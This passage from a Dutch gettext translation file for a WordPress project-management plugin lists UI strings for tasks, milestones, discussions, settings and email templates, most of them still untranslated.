deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Geen reacties gevonden" + +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Geen Project gevonden" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Weet je het zeker?" + +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "Weet je zeker dat je dit project wilt verwijderen?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Weet je zeker dat je dit bericht wilt verwijderen?" + +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "Weet je zeker dat je dit project wilt verwijderen?" + +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Voeg nieuw bericht toe" + +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Update Bericht" + +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Project Activiteit" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Takenlijst" + +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "Mijlpalen" + +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Bestanden" + +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Bewerk" + +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Weet je zeker dat je dit bericht wilt verwijderen?" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Vul een titel voor je bericht in" + +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Voeg bericht toe" + +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Update Bericht" + +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Start een nieuw project" + +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Naam van het project" + +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Enkele details over het project (optioneel)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Voeg nieuw project toe" + +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Update Project" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Bewerk Mijlpaal" + +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Verwijder mijlpaal" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Markeer als voltooid" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Naam voor de mijlpaal" + +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Voeg Mijlpaal toe" + +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Update Mijlpaal" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Voeg taak toe" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Update Lijst" + +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Voeg een lijst toe" + +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "Verwijder mijlpaal" + +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Sla veranderingen op" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Project Activiteit" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Verwijderen" + +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Selecteer alles" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Annuleer" + +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "Selecteer alles" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Verwijder bestand" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Voltooid" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Breng klanten op de hoogte" + +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "Laad Meer..." + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Maak een nieuw bericht aan" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "Inhoud" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Geen gebruikers gevonden" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Nieuw Project" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Taken" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Voltooide Mijlpalen" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Voltooid op:" + +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Late Mijlpalen" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "Onvoltooide Mijlpalen" + +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +#, fuzzy +#| msgid "left" +msgid "left -" +msgstr "over" + +#: views/assets/src/components/project-overview/overview.vue:107 +msgid "Last 30 days" +msgstr "" + +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +msgid "Discuss this task list" +msgstr "" + +#: views/assets/src/components/project-task-lists/list-tasks.vue:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/src/components/project-task-lists/lists.vue:77 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "Nieuwe Takenlijst" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-list.vue:29 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/src/components/project-task-lists/single-task.vue:203 +msgid "Shift+Enter for line break" +msgstr "" + +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discuss this task" +msgstr "" + +#: views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "E-mail instellingen" + +#: views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +#: views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "E-mail type" + +#: views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "HTML e-mail" + +#: views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "Platte tekst" + +#: views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +#: views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "Bestand upload limiet" + +#: views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "Eind datum" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Bekijk Taak" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +#: views/emails/html/new-message.php:12 